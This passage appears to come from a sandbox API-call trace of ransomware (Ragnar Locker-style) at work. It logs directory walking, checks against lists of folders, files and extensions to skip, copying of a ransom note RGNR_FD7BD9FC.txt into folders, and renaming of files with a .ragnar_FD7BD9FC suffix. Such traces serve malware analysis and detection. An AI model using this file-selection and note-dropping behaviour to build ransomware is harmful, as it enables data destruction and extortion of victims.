nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.205] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ef4860, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.205] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.205] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.205] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.205] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.205] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.205] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.205] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.205] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned=".mui" [0058.205] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.205] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.205] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.206] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.206] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0058.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.207] CloseHandle (hObject=0xffffffff) returned 0 [0058.207] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" [0058.207] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.207] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.207] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.207] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.207] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2=".") returned 1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="..") returned 1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Windows") returned -1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Windows.old") returned -1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Tor browser") returned -1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Internet Explorer") returned 1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Google") returned 1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Opera") returned 1 [0058.207] lstrcmpiW (lpString1="pt-PT", lpString2="Opera Software") returned 1 [0058.208] lstrcmpiW (lpString1="pt-PT", lpString2="Mozilla") returned 1 [0058.208] lstrcmpiW (lpString1="pt-PT", lpString2="Mozilla Firefox") returned 1 [0058.208] lstrcmpiW (lpString1="pt-PT", lpString2="$Recycle.Bin") returned 1 [0058.208] lstrcmpiW (lpString1="pt-PT", lpString2="ProgramData") returned 1 [0058.208] lstrcmpiW (lpString1="pt-PT", lpString2="All Users") returned 1 [0058.208] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.208] lstrcpyW (in: lpString1=0x1eb62e, lpString2="pt-PT" | out: lpString1="pt-PT") returned="pt-PT" [0058.208] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\" [0058.208] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\" [0058.208] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\RGNR_FD7BD9FC.txt" [0058.208] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.211] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*" [0058.211] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.211] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.211] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.211] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.211] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.211] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.211] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.211] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ef4860, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.211] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.212] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.212] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.212] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.212] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.212] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.212] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.212] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.212] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ef4860, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.212] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.212] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.212] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.212] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.213] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.213] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned=".mui" [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.213] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.213] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0058.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.214] CloseHandle (hObject=0xffffffff) returned 0 [0058.214] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" [0058.214] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.214] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.214] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.214] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710c49a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.214] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.214] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.214] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2=".") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="..") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Windows") returned -1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Windows.old") returned -1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Tor browser") returned -1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Internet Explorer") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Google") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Opera") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Opera Software") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Mozilla") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="Mozilla Firefox") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="$Recycle.Bin") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="ProgramData") returned 1 [0058.215] lstrcmpiW (lpString1="ro-RO", lpString2="All Users") returned 1 [0058.215] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.215] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ro-RO" | out: lpString1="ro-RO") returned="ro-RO" [0058.215] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\" [0058.215] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\" [0058.215] 